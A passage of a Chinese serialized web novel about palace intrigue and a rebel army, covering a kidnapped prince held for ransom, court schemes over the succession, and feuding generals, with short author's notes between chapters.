心想定有些来历,就给绑了想勒索。” “倒是遇上同行了。”谢善淩打趣他。 顾望笙十分嫌弃:“谁跟他们同行……” 随即正色道:“当时我们的一个弟兄找到了顾裕珩, 但没有援助,怕不成反而坏事,就没贸然出面。但随后已经联系其他人前往, 这回不但要带回顾裕珩,还要将那伙作恶多端的余孽一网打尽。” 谢善淩没接这话,神色有些微妙, 半晌突然重复他的话:“弟兄。” 顾望笙听他语气不对, 问:“怎么了?” “你们也和土匪似的,叫弟兄。” 谢善淩的语气似乎平静,顾望笙却从中听出了不一样的意味。他微微挑眉:“你这不就是找茬了吗?不叫弟兄叫什么?” “没什么。”谢善淩道。 顾望笙眨了眨眼睛,正要施展美人计,谢善淩迟疑了下,主动说了:“不过是觉得, 无规矩不成方圆, 你们仍未脱去匪气, 就如同……” 他又犹豫起来,许久没有说话。 “如同什么?”顾望笙催他。 谢善淩咬了下嘴唇,垂眸道:“先说好,我只是揣测临江仙的想法,但我不是他……” “好好好,你不是他。”顾望笙坐到一旁,揽住他肩膀忍着笑道,“那你说说临江仙是怎么想的?” “如同……王尨之事。”谢善淩淡淡道,“盖因你们没个章法,因此当时那样难做。” 他说这话时抬眼看向顾望笙,观察着他的反应,没有再往下说。 顾望笙沉默一阵,拉住他的手,叹了一声气。 “其实这件事我和宋淮安讨论过许多遍,以前就想和你说,但每次提起来你都反应很大,很抗拒……” “……你们讨论出什么结论了吗?”谢善淩问。 “没有结论。”顾望笙摇头。 “正如你刚刚所说,没个章法,那么按理就该立起章法,然而道理是道理,现实是现实。立规矩容易,如何让大家接受很难。” 顾望笙忍不住连连叹气,苦恼道:“就连朝廷的正规军,其实也都是些兵油子,全靠将领带着压着。起义军里虽都是些穷苦人,讲道义,但不一定讲道理。” “他们大多都没读过书,比起军令如山,更愿信服义字当头。许多都是一个村、一个县的乡邻好友,沾亲带故,起初由他们的大哥纠集起来,后来才跟随大哥被我和宋淮安说服加入组成白龙义军。” “在他们的心中,其实始终服的是他们的大哥。他们大哥头目服的才是我和宋淮安。而各个头目之间又相互看着,当时王尨的事一旦我和宋淮安处理岔了,一则王尨亲手带起来的近千来个人必然生乱,二则,其他头目恐怕也会生出异心。” “善淩,绝大多数人都是这样,事不关己的时候尚且也许说得正义凛然,可若关乎自身利益,他们就是自私的护短的,不能明断是非。这固然不对,可就是如此。” 白龙义军不是一开始就力量雄厚,它和大多数起义军一样,起初只是很细小的一支队伍,通过不断融合其他力量才有的今日。 谢善淩没有亲身体验到顾望笙和宋淮安的如履薄冰。 水可载舟亦可覆舟,这句话若用来形容他俩的处境也是可以的。 谢善淩过了一阵,问:“照你这样的说法,不杀潘国栋岂不也是有不得已的苦衷?岂不是只要有权力在手,就可以肆无忌惮?” “你说得对……”见谢善淩翻脸,顾望笙急忙解释,“我是说你反问得好!我和宋淮安也几度探讨到此。” 谢善淩这才神色稍霁。 “唉,可惜我俩没能探讨到好的法子。若你能帮忙想到,我们必会愿意尝试。” 顾望笙低头温情地摩挲着他的手背。 “善淩,也许你会觉得我在狡辩,但真不是。我们和潘家、和昏君不一样,无论有没有苦衷,他们不想改,但我们是真想改变,只是不知道怎么办才好。有时候事情不是非黑即白那么简单……” 谢善淩的语气缓和了许多,道:“那你和宋淮安应该已经从此事中察觉,原本你们内部的人心就散乱,若长此以往,其实早已埋下隐患,或许有朝一日就会爆发出你俩压不下去的矛盾。到那时,你们后悔也晚了,最终结果不过是重蹈千百年来从繁盛到自乱覆灭的起义军的覆辙。” 他停了下,道:“往近了说,就像你们纵容石宏擅自频繁往返家中,我恐怕类似的事和人还不少吧?” 顾望笙尴尬道:“嗯……不过自从他被抓后,我们已经明令禁止了!” “有多少人听?”谢善淩问。 顾望笙欲言又止,半晌才悻悻然道:“也……也是有听的……” “你和宋淮安已经无法掌控手底下的人了。”谢善淩冷声道。 顾望笙撇撇嘴:“打仗的事儿他们还是肯听我们的……” 谢善淩无情说破:“那是因为你们情报亨通,而且是读书人懂兵法,他们如今依仗你们能打胜仗、有好处,这才听。若是多败几场,他们杀你俩,恐怕比朝廷还杀得快。” 顾望笙登时眉头一撇,嗓子一夹,倒在谢善淩身上伪装自己很小鸟依人地扭来扭去撒娇:“所以你救救我们啊,教教我们。” 谢善淩试图起身远离这个丢人的家伙,但因为他确确实实一点也不小鸟,力气大得很,谢善淩被他赖着,压根起不去。 顾望笙扭得自己脑袋都有点晕了,但还是擅自带上宋淮安的份坚持不懈地继续扭,试图博取到谢善淩的同情和怜爱。 当然了,宋淮安要同情就好,谢善淩的怜爱只能归自己。 谢善淩竭尽全力捱了一阵,实在是捱不下去了,唯恐自己忍不住酿成同室操戈的惨剧,也为了求得解脱,不得不自暴自弃道:“好了好了,你别……你先松开我……我给你想法子!” 世界终于清净,也不使劲晃悠了。 但顾望笙还在努力睁大眼睛扮楚楚可怜瞅着谢善淩,做作地眨巴眨巴。 谢善淩一时之间也说不准是他更可怜还是自己更可怜,仔细想想也许是自己。 “只是此事还需从长计议,我一时也和你说不清。”谢善淩缓缓道。 谢善淩既答应了,顾望笙就不怕他反悔,当即点头,郑重道:“那就都拜托给你了。” 谢善淩矜持颔首,想了想,强调:“但我不是临江仙,只是最近闲着没事干……” “……”顾望笙仔细看他嘴,纳闷道,“明明亲起来那么软,怎么就这么硬……” 谢善淩不高兴地说:“反正不是。” “好好好不是不是,等你八十了我再问你,你还不是。”顾望笙无奈道。 谢善淩还要嘴硬,顾望笙引开话题,说:“顾裕珩有得罪受了,那个三当家心眼儿可多了,而且手段狠辣,顾裕珩一开始应该不敢将自己的真实身份告知,就不知道会遭受怎样的虐待了,在我们的人将他抢过去之前,死也有可能。” 谢善淩:“若真如此,也是没办法的意外。至于这个责,总之不会由你我来担。” 顾望笙下意识地看了眼窗外方向,嗤笑了一声,瞅着谢善淩有点酸地揶揄:“红颜祸水啊你……他此时应该已经离开浔阳了吧。” “无所谓他此刻去了哪里。”谢善淩冷淡道,“只要他来过浔阳一带,顾裕珩一事他就难以撇清嫌疑。” “除了解释江泊润之死与他无关,他还跟你说什么了?”顾望笙问。 谢善淩瞥他:“我真说了你又不高兴。” “说什么恶心话了?”顾望笙顿时不高兴地拧起了眉头。 “真要听?”谢善淩问。 顾望笙坚毅道:“说。” “你想听我还不想说呢,我都忘了。”谢善淩推开他,起身道,“别问了,反正都是恶心人的废话。” * 黔阳城,某处宅院深处。 江锐坐在桌前,手上拿着一卷书,心思却不在上面,目光怔怔,眉头紧拧。直到被人从身后拍了拍肩膀,猛然惊醒,反应极大地扭头用书狂砸对方的手。 好在对方手收回得快,一面抱怨:“这是人家家里的藏书,你别给弄坏了,咳咳咳咳……” 江锐警惕地瞪着眼前身形高大却容貌很是精致秀美的书生,怒斥道:“得痨病的贼人!你又来做什么?速速放我和谢小姐离开!” “你这样真没有礼貌,咳咳咳咳,都说了我不是,咳,不是痨病,是之前战场上伤着了心肺一侧,迟迟没好咳咳……” “宋淮安,你究竟想对我和谢小姐做什么?!”江锐质问。 宋淮安给自己倒了杯茶喝下润了润,长叹一声。 “说多少遍了,你是被你好友谢思玄送来的,谢小姐是我去江边巡查时从水里捞上来的。” “问她是谁,她和你一样防着我,不肯说,我能有什么办法?见她柔弱,只能先养着。若非你昨天偷跑撞见了她认出来了,我都不知道她是谢家小姐。” 宋淮安幽幽叹气:“当我很想留着你们呢?我一向洁身自好,拜你俩宁死不屈所赐,如今都在传我男女通吃,一霸霸俩,多年名声毁于一旦。” 第66章 顾裕珩心如死灰!刚出虎口, 又入狼窝!这句话他真实地体验到了! “我我我母妃还没出钱赎我吗?”他流着泪,小声地问面前戴着狰狞面具的男人。 据说就是那个秦青。 秦青比先前那伙土匪略讲一点点道理,打的时候下手轻一些,即便如此, 顾裕珩已经被先前的土匪调|教得很好了, 不敢再口出狂言, 连“本殿下”都自觉不说。 毕竟他只有八根手指了。先前的土匪还逮着他右手一只手剁,委实恶毒。 秦青长久立在那, 没说话。 顾裕珩如今遭受过现实的许多遍毒打,相当的知情识趣, 主动讨好:“我再写几封血书给我母妃、大哥和下属……先前就连内衣都给你们拿去当信物了,实在是没东西给了……” 面具略动了动。 顾裕珩感觉秦青的眼睛似乎看向了自己的右手, 吓得急忙背到身后,跪倒在地,泪如雨下:“那、那能剁左手吗?我实在是不会用左手拿筷子啊!” 戴着秦青面具的宋淮安看着他这副凄惨模样, 心中并无半分同情。 自己无辜的家人,乃至于无数无辜的、家破人亡的百姓何尝不曾如此卑微地乞求贪官污吏饶过呢?而那些狗官依仗着谁?无非是顾裕珩这些人。 且不说顾裕珩和他那个奸妃母亲间接害死的无数人命,他们直接残害的人难道就能数得清吗? 顾裕珩如今只是急于苟活, 一旦来日他回到京城, 又是那个视人命如草芥的高高在上的三皇子。 若非为大局着想,若非顾裕泽比顾裕珩更难对付,宋淮安见到顾裕珩的第一眼就一剑捅死他了,省得还要为他糟蹋粮食。 此刻,他冷冷道:“那还不快写?要我请你吗?” “不敢不敢,我现在就写, 现在就写……” 顾裕珩连滚带爬地到一旁抓起桌上纸笔, 桌子都不敢用, 撅着屁股趴在地上写。 宋淮安走过来,一脚踩在他的手和纸笔上碾了碾:“不是说血书吗?” 顾裕珩连连道歉,磕头求饶,好半天“秦青”才收回脚。 他赶紧重新取了纸,狠心咬破自己早已破烂不堪的手指,流着泪写血书催促各方赶紧给钱赎人。 宋淮安在一旁看着,嘲讽道:“皇后不是你那奸妃娘害死的吗?怎么你和大皇子的关系还很好?他是头一个给钱的。” 顾裕珩的手指一顿,眼中闪烁着泪花抬眼看“秦青”,但被面具后黑黝黝杀气十足的眼神吓一跳,急忙低头继续写。 “听说浔阳城里大小官员还在犹豫不决,大皇子大闹一场,持剑说谁拦杀谁,坚持连开几个库房,将要的白银、药材、兵器、粮草都给了我们,还跪在我们的人面前哭着求别伤害你,呵呵……数典忘宗狼心狗肺的东西!皇后白生了他!” 宋淮安说着,一脚踹在顾裕珩屁股上。 顾裕珩正写着字的手往前一搓,纸上留下一道血痕,指尖传来钻心的疼。 他不敢生气,死死咬着牙继续写。只是忍不住眼中酸涩,泪水一滴滴落到纸上。 老大…… 正所谓患难见真情。老大那样胆小如鼠、不愿担负责任的一个人,竟能为了自己做到这一步! 顾裕珩狠狠吸着鼻子,用粗糙的衣袖擦拭自己的眼睛。 “若非见他识相,你剩下的八根手指也别想要了。不过看在那些东西的份上,我暂时不会伤害你,今晚的饭还给你加点肉。”宋淮安说。 一听有肉吃,顾裕珩脑子里别的都想不到了,连连冲他磕头,哽咽着道谢。 这短短的又漫长的日子他都不知道自己是怎么熬过来的! 先前的那群土匪根本不给饭吃,还逼他吃拌尿的泥巴取乐。 现在的这伙匪军没有那么残暴恶心,可也不善良,给他三天饿六顿,一天就一顿,那一顿还是没几粒米的米汤就咸菜和小半块窝窝头。 问就是阴阳怪气的:“被你们朝廷打得我们自己都没饭吃,这都围城多久了,有这些你就别挑了,到我们不得已要以人为食那天,你猜谁是头一个被吃的?” 顾裕珩深切地觉得他们干得出那种事! 吓得他把自己所知道的关于黔阳城附近的布防机密和盘托出,重点是几处隐秘的紧急战况下才会开启的粮草储藏仓库—— 有东西吃!干嘛吃人呜呜呜! 宋淮安见他光顾着磕头不写血书了,又踹了他两脚。 顾裕珩哭着问:“不是说看在我大哥给你们那些东西的份上不伤害我吗?” “又没说不踹你,看到你就来气。”宋淮安道,“快点写。” 顾裕珩只得继续写。 写着写着,他灵机一动,手不停,一面谄媚地说:“秦将军,您光勒索,咳咳,不是,您光向我母妃要钱,总是有限的。其实我知道很多造孽的贪官的辛密,您拿去勒索、咳咳,拿去替天行道,逼他们花钱消灾,您也积德,我也每天都有肉吃……咳咳,我也、也……您也不用再踹我……” 宋淮安翻了个白眼,语气却温和下来,走到一旁坐下。 他缓缓道:“我从前和二皇子打过交道,他说你蠢笨如猪,如今来看,倒也不是嘛。你是故意在他面前装蠢、韬光养晦吗?” 老二!!老子就知道老二这个死东西背地里肯定不服老子!当着匪军的面都不忘编排老子,别的时候都不敢想! 不过,人都死了,算了,不气不气,气坏身子估计匪军也不会给我治…… 顾裕珩竭力安抚好自己,陪着笑道:“嗐,老二……顾裕骐那家伙,我们父皇都不待见他,说他一看就是一副薄情寡义的相。” 说到这里就情不自禁想起义薄云天兄弟情深的老大。 顾裕珩不由得又呜咽起来,用衣袖擦着眼睛,忍不住感慨:“其实我也想不到老大能为我做到那一步……呜呜呜,若我能活着回去,我一定对他好。” “你倒在这儿跟我兄弟情深上了!”宋淮安又踹他一脚,“说吧。说点我能勒索上的,那个孙瑛就算了,我们送信给他的人一去不回,想也知道是何下场。呵呵,气得我……若非紧接着收到你那个老大识相的消息,你猜我会怎么对你!” 孙瑛!!!这也是个王八蛋! 顾裕珩咬牙切齿:“您别和他一般计较,他亲近顾裕骐,说不定巴不得我死。我也知道他得罪你们太多,您放我回京后,我一定替您好好整治整治他!” 余光瞥见宋淮安又抬起了脚,顾裕珩急忙将身体缩成一个团,颤抖着说:“我说我说……啊啊啊啊我想起来一件事!不知今儿是什么日子了,最近司马忠良有一船古董玉石要运往扬州,那可都是真宝贝!” 一听又要有钱了,宋淮安语气越发温柔,问:“哪来的宝贝?运往扬州意欲何为?” “嗐,还能干啥,就是卖钱呗……宫里的!也不是头一回了!”顾裕珩说。 宋淮安问:“皇帝就一点也不知道?” 顾裕珩长叹一声气:“其实父皇知道,卖了钱他也要花的……皇宫那么大,宝贝太多了,许多都放在库房里,实在没钱了卖一些也没什么……” * 顾望笙站在窗边看了看院门外守着的兵士,放下纱帘,走到正在桌旁练字的谢善淩身边,低声问:“你说我这算不算‘功成身退’?” “算把他们惹毛了。”谢善淩淡淡道。 顾望笙打着为救顾裕珩的旗号,将浔阳城内外仓库搜刮一顿,统统送去给白龙义军,把浔阳上下那些官和宁蔚那些人都气得不轻。 他们忍无可忍之下,派出兵士以保护为名将顾望笙监禁在这小院里,不准他外出闹事。 “总不敢真下黑手杀了我吧。”顾望笙说。 “不一定,小心点好。”谢善淩冷笑,“被抢了骨头还不咬人拼命的狗少。” “还好咱们有先见之明,囤了干粮。”顾望笙说,“就是要委屈谢小少爷陪我吃糠咽菜了。” “哪来菜?”谢小少爷挑刺。 顾望笙认错态度极佳:“对不起,为夫无能还夸大其词,其实只有糠。” 谢善淩给他一个眼神,继续写字,边说:“下不了毒,也能放火。” 顾望笙安抚道:“你也不必太担心,我早有所安排,自然不会坐以待毙。而且他们也不敢太明目张胆。” “顾裕珩被绑架的事,他们还需要我来承担一部分昏君的罪责,若连我都出事,还是在浔阳城里出的事,头四个皇子就剩顾裕泽一个了,我们三个的事故原由还都指向他,他也算是到头了。昏君不会容他。他们会顾忌这一点。” 谢善淩朝他身上靠了靠,说:“但愿如此。” “我倒是比较担心你那好友陈贤直。”顾望笙说。 陈贤直向来看不上三皇子,对于这家伙被绑一事毫无兴趣,也不怕问责,怎么算都问不到他头上,他这段时间没公事就去陪伴江锐父母,宁蔚他们因此没将他一起监禁的意思,反倒强行给他迁出了小院。 陈贤直尚不知道顾望笙来自白龙义军这事。 正值多事之秋,谢善淩不能确保他很快接受,为防节外生枝,便计划事了回京后再找机会单独详谈。 先前陈贤直之所以配合,纯属是为了救江泊润。谢善淩只跟他说顾望笙其实也有夺嫡之念,因此暗中也有些力量。 不过因为此事,陈贤直有了误会,他欣喜地问谢善淩:“所以你和大皇子只是掩人耳目,不是真的断袖是吗?!” “贤直兄,你不是祖上有结契兄弟,对此事看得开的吗?”谢善淩反问。 陈贤直摆摆手:“那会儿你亲都成了,我还能说什么,只能骗骗自己也骗骗你,安慰自己也安慰你。” “……”谢善淩叹气,道,“那要令贤兄失望了。” 贤兄果真肉眼可见失望,面无表情地看了眼旁边的大皇子。 大皇子也很面无表情,腹诽:我一直就在这儿,你当我面那么说我都忍了,你还瞪我!可真是! …… “我叮嘱过他小心,你不也说过有人暗中保护他和泊润父母吗,若实在不好也就只能将他们也送去宋淮安那里了。”谢善淩说着,停了下,看向顾望笙,认真道,“但是多谢你关心他。” “他是你好友嘛。” 顾望笙满脸乖巧的模样,看得谢善淩心暖暖,忍不住和他贴一贴。 作者有话要说: 谢善淩:我也会对你的好友(宋淮安)很关心的[让我康康] 顾望笙:这就大可不必了。 宋淮安:做个人吧秦青,对你可能有点难度,但你只要认真做,还是有机会的[摊手] 第67章 ◎当心点吧,总感觉你还会被他骗。◎ 屋漏偏逢连夜雨! 菅贵妃被皇帝骂了一通, 回到自己宫中几乎将整个屋子都砸了。 尤不解气,便叫来宫女太监,令他们脱去上衣趴在地上,她拿着带倒刺的鞭子将雪白的皮肉抽得血肉模糊, 以此发泄。 司马忠良就在旁边, 面沉如水, 一言不发,垂眸思索着事。 直到菅贵妃累了, 跌坐在贵妃榻上大口喘着粗气,司马忠良才叫人简单收拾了一下, 屏退出去。 菅贵妃觉得自己真要气死了。 不仅宝贝儿子被匪军抓去,自己遭受勒索, 那些匪军还好像疯了似的到处抢掠库房,连秘密运往南下变卖的满船珍宝也洗劫一空! 皇帝非说这不是巧合,说:“哪有那么巧?顾裕珩被他们抓去, 他们就什么都知道了,朕看就是这小子扛不住吓唬告诉他们的!” 虽然她仔细想想也信了几分这说法,可是忍不住心中为宝贝儿子说话:若是你, 你难道不怕吗?珩儿哪受过这苦这惊吓! 这话肯定不敢直言, 而且还要打死不认,坚定地为儿子辩白、撇清干系。结果就遭了一顿骂,还被赶回来思过。 半晌,她气稍顺了些,看向司马忠良:“赎金还没送到吗?!” 司马忠良:“应该就是这两天了。只恐匪军收了钱仍不肯放人。他们知道挟持三殿下一日,我们就一定会给钱一日。此事没有这么简单。” 她生怕他这意思是不想给钱了, 立刻驳斥:“那难道不给吗?!” “没这么说。”司马忠良压下心中不满, 面上依旧不急不缓, 转而说起,“三殿下离京前,娘娘千叮咛万嘱咐,让他不要去危险之地,最好不要离开浔阳城,不要逞能剿匪,怎么三殿下忽然想起去那偏僻之地剿匪?恐怕是有人从中挑唆。” 他眼中阴沉,微微眯起。 “若说三殿下在那里能轻信谁,无非是大皇子。曾经二殿下察知大皇子实乃匪军头目秦青,这回难道不是大皇子联合匪军设下的局吗?”他问。 菅贵妃闭上眼睛深深呼吸,猝然睁开,道:“不是说那段时日顾裕泽暗地里也去了那里吗?我看是顾裕泽所布下的局也未可知。” 司马忠良都有些头疼了:“娘娘和三殿下为何就是不信二殿下所说——” “二殿下二殿下!整天你就二殿下!顾裕骐已经死了!”菅贵妃拂袖将榻上软枕掷于地上,尖声道,“那个不男不女的怪物已经死了!” 司马忠良看着她,没说话。 她猛然冷静,犹豫了下,讪讪地、又有许多不甘愿地说:“他……你总是过于关心他……” 司马忠良来到她面前,伸手安抚地摸着她的脸。但他的手很凉。 “骐儿是你的孩子,长得那么像你。”他柔声道。 她正是不安在这一处。 她如同一只猫,用脸蹭着他的手心,呐呐道:“你看他的眼神,有时像从前看我的眼神。” “是你多心了。骐儿是男子,我又不是断袖。”他淡淡道。 他算哪门子男子……她心中向来将他当成了一半的女人! 还是一个比自己年轻、和年轻时的自己容貌相似、让自己依赖之人举止暧昧的女人。这焉能不心生排斥妒恨?! 更何况,当年因为自己错信江湖骗子之言生出了这个畸形儿,每每看到他便倍觉尴尬,久而久之成了厌恶,甚至是憎恨。 他的存在无时无刻不提醒着自己那难堪的谬错! “但愿如此。”她嗔道,随即仰头看他,“不说那个扫把星了,还是救出珩儿要紧。至于顾裕帧究竟什么来历,回头再说。大不了以后叫珩儿远离顾裕帧,咱们再想法子除了他,也就是了。” 司马忠良沉吟一阵,忽的笑了:“除倒不必急着除,留着他也好。让他去斗四皇子,替三殿下挡锋芒风头。待四皇子被他斗倒,我们再揭露他的身份,岂不是坐收渔翁之利?” 菅贵妃忙道:“其实我一直都是这么想的……” * 豲戎位于大梁的西北方位,面积辽阔却人口稀少,真正适宜居住之地只占很小的一部分草原,更多的地方不是冰原便是荒漠。 就连草原也是物资匮乏,远比不上富饶的中原。 豲戎族自古便有,但在草原上分散,以小部落的形式赶牛羊逐水草移居。 他们原本不认为自己是一个大的族群,有时小部落之间还会为了争夺牧地而大打出手。 盖因相貌特征与生活习性相似,中原的汉人将他们视作一体,还给取了这个名字。 直到几十年前,现在的豲戎国国王的祖父茶他尒才统一了各部落,真正建立起一个国家。 那之后,茶他尒仿效东南方的大梁建立起一系列制度,同时亲率军队掠夺边境交接处的大梁城池,快速积攒起了一批财富,豲戎国飞速发展。 大梁很快就反应过来,调配军队反击保卫,然而豲戎人彪悍且灵活,此后数代一直在大梁的西北边境敌战僵持,是大梁的心腹大患。 豲戎王城仿大梁国都建造,只是苦于资源有限,无论是规模抑或材料质感,处处都逊上许多,有些东施效颦的滑稽感。 王宫深处一个院落殿中,水汽自房屋中央的浴桶中弥漫至整间屋子,显得潮湿且到处是浓郁的药味。 黑发男子坐在浴桶之中,闭着眼睛,许久都一动不动,如同早已死去了一般。 窗户狭小,却都关了起来,还挂着帘布,屋内阴湿寂静,气氛越发诡谲。 直到一个蜂腰猿背的高挑年轻男子漫步走了进来。 他轮廓深邃,相貌特征偏像中原男子,但从头到脚都是豲戎人的装扮,长发披散,间以缕缕小辫,尾端坠有宝石。 身上是豲戎传统的斜领袍子,颜色艳丽,袖口收紧,穿雕着繁复花纹的精铁护腕,领口厚缝上狼皮防风,脚下是一双翻毛的马靴。 他靠着浴桶边,侧头似笑非笑地看着里面的人,这样的姿态和神情令他的俊美极为邪气。 “你也算大仇得报一半了。你那好弟弟可没少受罪,也不知道能不能活着回去见你那偏心眼没边的父皇母妃~”他调侃道。 水中男子依旧闭着眼睛,过了一会儿才沉声道:“比起这个蠢货,顾裕泽才是他们真正忌惮的对手。所以顾裕帧……不,秦青,他还不会杀顾裕珩。” 男子撇撇嘴,笑道:“那你岂不是很不甘心了?说起来你也真是惨,三弟想杀你,他还没排到号,让你大哥抢了先。至于你四弟吧更不用说了,至今还在掘地三尺地找你,根本不信你死了,生怕你不能真死~” 水中男子——正是假死脱身的二皇子顾裕骐——终于缓慢地睁开了眼睛,与这男子对视,幽幽地问:“和你辗转无眠无数个夜后,终于下定狠心出卖自己的国家,割断苦心经营多年、得来不易的权势,抛弃雄图霸业的野心和谢善淩私奔,却被他毫不犹豫一剑刺透心口,告诉你一切都是为了杀你设下的局相比,又如何呢,将灵。” 将灵:“……” 顾裕骐的声音如同鬼魅一般阴冷飘忽,轻得直往将灵的每一根血管里钻。 “当你再次出现在他面前,他这次应该就知道你的心脏天生位置异于常人,会好好地将剑扎入你右边胸膛了吧。”顾裕骐淡淡道,“当心点吧,总感觉你还会被他骗。” 将灵突的笑了起来,眼中的恨意却惊人。 “你该让谢善淩当心点。”他冷冷道,“我会让他后悔他对我的背叛。” 作者有话要说: 顾裕骐:你要怎么报复谢善淩? 将灵:不顾他如何恨我、如何不甘愿,我将来都会娶他做我的王后,一天三次,让他这一辈子虽然锦衣玉食荣华富贵长命百岁权势滔天,但每日都因为要面对他不爱的我而羞耻和痛苦。 顾裕骐:……根据你们的习俗,找个大神跳跳驱驱邪看能不能好点吧。 第68章 ◎我可是大皇子!当今圣上的嫡长子!里通匪军我是疯了吗?◎ 菅贵妃一再坚持, 皇帝虽然怒斥过她几回,但捱不过爱妃的苦苦哀求,他自己虽不满于顾裕珩的愚蠢,却也到底是宠爱了这么多年的儿子, 只得答应和匪军和谈, 争取赎回人来。 然而, 那只是一开始的想法。 钱银财物如流水一般送到匪军那里,匪军却厚颜无耻, 继续狮子大张口,根本就是贪得无厌! 此事早已被人传得天下皆知, 四皇子一派的人借此大肆攻讦,哪怕是不站这两边的人的怨言也沸反盈天。 皇帝自己都心疼起钱银来。 最终皇帝恼羞成怒, 任由爱妃怎么闹也实在不肯给了,反而调了孙瑛前去黔阳城外接替宁蔚大将之职领兵攻城,誓要破城获胜, 将匪首秦青和宋淮安逮回京城千刀万剐凌迟处死! 孙瑛所在姜城亦是需要重防的关隘之地,周遭大小起义军不断,其实他离不开身, 可如今皇帝正在怒头上了, 也就顾不上这些了。 孙瑛无奈,只得领命前往。 宁蔚心中也极不甘愿,这超出了他和四皇子的计划。 顾裕珩这蠢货擅作主张被匪军俘获,虽然令他挨了皇帝训斥,却到底不是他的责任,皇帝不会真将帐算到他的头, 反而这对三皇子是一次重大打击, 甚至也许不能活着回来, 宁蔚自然喜闻乐见。 他和四皇子都做好准备了,待三皇子死了或是皇帝不耐烦再和谈,四皇子就借口为三皇子报仇,亲自前来坐镇指挥,向朝廷再要粮草供给,然后攻打黔阳。 却没料到,都这样了,皇帝竟还维护着三皇子,派来三皇子派的孙瑛,顺理成章接走自己手中的军队控制权。 因为先前久攻黔阳不下,还保护三皇子不力,面对这一安排,四皇子一派在明面上理亏,还不能说什么。 这根本就是个哑巴亏。 孙瑛强势,来到浔阳后立刻召集宁蔚等众将领开会,双方心中都有气,立场又一贯对立,言语间自然摩擦不断。 孙瑛是个敞快的人,一听那些阴阳怪气暗戳戳的话就烦,原想着大局为重,忍了几下,可对方却以为他怕了,一再寻衅,他忍无可忍,沉着脸说了回去。 现在比起匪军,宁蔚更怕孙瑛真得胜夺回黔阳和顾裕珩,会上众人寻衅滋事拖延正事,是宁蔚的默许。 此时见孙瑛真有所回应,他给自己人一个眼色,示意将火拱得更高些。 既然是孙瑛坐镇浔阳,那么……倘若浔阳也被匪军攻下,那会如何呢?呵呵。与此同时,姜城也被匪军攻下,那会如何呢?呵呵。 匪军固然可恶,三皇子一派才是他和四皇子最大、最迫切需要铲除的政敌。 众人乱哄哄吵成一团,突然外头传来尖锐的叫骂声,一个小兵进来通传,说是陈贤直闹着要进来。 虽然两边都不待见陈贤直,可多事之秋让这人在外头一直骂也不是个事儿,也不知他是什么事儿。孙瑛略一沉吟,叫人将他带进来。 陈贤直一进来,环视一圈众甲胄在身、威武极了的将领,人人都比他高至少一颗头,腰间还挂着兵器。 他却丝毫不惧,走到中间怒骂:“事到如今你们一个个打的什么主意别以为我不知道!都这时候了你们不想着赶紧收复黔阳,竟还想着政党攻讦!都是些什么东西!” 宁蔚沉声道:“你一个文臣,此事与你无关,你不要掺和,省得惹火烧身。” 陈贤直却看向他冷笑道:“威胁我啊?我心中只有社稷黎民,读书为官为报效朝廷,无私无惧且孑然一身,仰不愧于天,俯不怍于地*,你吓不到我。我受朝廷俸禄,受皇命作为钦差身处浔阳,在一日,我就有责任守护浔阳一日。眼看浔阳城内乌烟瘴气,若匪军在黔阳站稳脚跟,来日必会攻打浔阳,我现来斥责督促你们,何过之有?你就是告去圣上面前,圣上难道会为此斥责我?” 这倒确实极大可能不会。 就陈贤直这一副要为了社稷抛头颅洒热血名垂千古的忠臣作派,哪个皇帝骂他都是牺牲自己成全他。无论皇帝心中怎么想的,面上也只能赞许他。 宁蔚深呼吸,正要再找理由驱逐他,他手指头一个个用力地指过来,愤慨发言:“我倒反而要向圣上上书告你们一个个公私不分贻误战机之责!” “……” 在座诸人身为武将,抛去各自立场不说,有一个共同的厌恶对象:文臣。 文臣看起来柔弱,心眼儿贼多,嘴极臭,说的话要么七拐八绕听不懂,一旦听懂,更是要被气得七窍生烟。 阴阳怪气谁都会,可文人的阴阳怪气那可就太阴阳怪气了。 打又打不得,走近点都怕他们碰瓷,碰也没碰他们就能往地上一倒非说故意撞他(此事有先例)。 思及此,众将越发没有好脸色,却也不敢多说,怕当了出头鸟被他碰瓷上。 唯独孙瑛赞赏地看着陈贤直,客客气气道:“陈大人为国为民,此心圣上必然感知,孙某亦是钦佩。请入孙某的座。” 宁蔚不耐烦道:“这不合规矩吧孙将军。” 孙瑛脸色一沉看向他:“不然呢?赶走明事理的陈大人,我们还像刚刚一样相互攻讦,让匪军坐等我们内斗看好戏?陈大人说得没错,若等匪军充实力量,到时浔阳城怕也是他们的囊中之物了。” 宁蔚想了想,道:“把他赶走,我们商议如何攻城黔阳。”说着轻蔑地看了眼陈贤直,“他又不懂军机之事。” 宁蔚现在对陈贤直是新仇旧恨全都有。 先前陈贤直找到他,让他传信给四皇子,自述始终信任拥戴四皇子,唯恐不知廉耻追随三皇子的大皇子连累他好友谢思玄的清白,一直力劝好友回头是岸。 在他这个优秀的内应孜孜不倦的离间下,谢思玄对大皇子日渐不满,其实已惦念起了四皇子的正直。 不过,由于江泊润之死的意外,大皇子栽赃给四皇子,谢思玄便又恨起四皇子。 陈贤直写信就是劝四皇子好好处理此事,千万要尽快解开误会,省得谢思玄被奸人蒙蔽而倒向奸人一派。 事关谢善淩,宁蔚不敢擅自决定不传这信。虽然不愿意,却还是传给了四皇子自行决定。 四皇子和陈贤直几番书信往来,究竟写了什么,宁蔚无从得知,总之最后四皇子竟私下里冒险亲来浔阳,趁大皇子不在时潜入驿馆私会谢善淩。 宁蔚还得替四皇子在外盯风,以防大皇子突然回来。 个中滋味旁人根本想象不出。 四皇子私会完,顶着脸上的巴掌印说确实有说服谢善淩回心转意的可能。 宁蔚:“……” 可怕的是,不久后三皇子就出事了。 若四皇子先前来浔阳的事被谢善淩嚷嚷出来,四皇子那真是跳进黄河也洗不清了。就算疑点重重,皇帝也免不了怀疑三皇子一事是四皇子下的黑手。 所幸至今为止谢善淩还没出卖四皇子。 而四皇子好像因此更加认为这是谢善淩回心转意的证明。 宁蔚已经不知道自己还能说什么了。 有时候他真想索性杀了谢善淩这个红颜祸水一了百了!等事情已成定局,他就不信四皇子真能为此罪责自己。 可是,每每杀心骤起时,又忍不住想到谢善淩咬着牙眼中含泪瞪着自己的模样。 想到谢善淩说其实心中所慕之人是自己,对自己因爱生恨…… 不止心情,有时就连身体也会为此产生难以抑制的亢奋之情。 他觉得这无关情欲,自己不是断袖,也绝无可能爱上不识好歹的谢善淩,而是征服欲上的满足。 可是无论如何……对,不能杀谢善淩,否则四皇子会生气。他这样解释自己杀心的骤起与骤去。 …… 